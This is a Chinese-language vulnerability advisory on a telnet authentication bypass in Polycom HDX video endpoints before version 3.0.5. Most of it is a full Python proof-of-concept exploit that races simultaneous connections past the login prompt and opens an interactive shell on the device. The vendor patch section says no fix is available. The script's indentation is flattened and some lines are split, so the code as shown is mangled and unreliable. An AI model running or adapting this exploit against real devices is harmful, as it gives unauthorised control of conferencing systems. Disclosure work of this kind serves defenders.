发布日期：2013-01-18
更新日期：2013-03-08
受影响系统：
Polycom HDX Video End Points 3.0.4
Polycom HDX Video End Points 3.0
Polycom HDX Video End Points 2.6
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 57911
Polycom HDX Video Endpoints 是视频会议系统。
Polycom HDX Video Endpoints 3.0.5之前版本在实现上存在安全漏洞，攻击者可利用此漏洞绕过某些安全限制并获取受影响设备的未授权访问权限。
<*来源：Paul Haas
*>
测试方法：
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
#!/usr/bin/env python
# Paul Haas <Paul dot Haas at Security-Assessment dot com>
'''Polycom PSH Command Shell Authorization Bypass Proof of Concept
Bypass Polycom's PSH telnet login using a flaw with simultaneous
connections.'''
import sys,socket,time,threading,readline
PORT = 23 # Default service port
THREADS = 6 # Best results vary from 4-8
BUF = 9200 # For sock.recv buffer
WAIT = 0.5 # For time.sleep between sock.send and sock.recv
SHELL = False # Lock shell to a single thread in bypass function
def check(host,port):
'''Check for server banner of vulnerable Polycom PSH shell'''
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
sock.send('hello\n')
time.sleep(WAIT)
data = sock.recv(BUF).strip()
sock.close()
if 'Welcome to ViewStation' not in data:
print "[Did not match banner information on %s:%i]: %s" %
(host,port,data)
exit(2)
return 0
def bypass(host, post):
'''Loop socket connection until login prompt is bypassed'''
global SHELL
while not SHELL:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
sock.send('whoami\n')
data = sock.recv(BUF)
while data:
if SHELL: break
elif 'Polycom' in data:
SHELL = True
print "[Bypass attack succeeded, spawning interactive shell]:"
while data:
print data.strip()
echo = raw_input("-> ")
try: sock.send("%s\n" % echo)
except socket.error: break
time.sleep(WAIT)
data = sock.recv(BUF)
print "[Connection closed]"
elif 'bind' in data:
print data.strip()
sock.send('whoami\n')
elif 'failed' in data:
break
data = sock.recv(BUF)
sock.close()
return 0
if __name__ == '__main__':
if len(sys.argv) <= 1:
print __doc__
print "Usage: %s [HOST] {PORT=%i} {THREADS=%s}" %
(sys.argv[0],PORT,THREADS)
exit(1)
host = sys.argv[1] if len(sys.argv) > 1 else '127.0.0.1'
port = int(sys.argv[2]) if len(sys.argv) > 2 else PORT
threads = int(sys.argv[3]) if len(sys.argv) > 3 else THREADS
check(host,port)
print "[Running attack against %s:%i using %i threads]" %
(host,port,threads)
print "[Look for 'Socket bind error' messages, bypass may take time]"
for i in range(threads):
thread = threading.Thread(target=bypass, args=(host,port,))
thread.start()
建议：
--------------------------------------------------------------------------------
厂商补丁：
Polycom
-------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：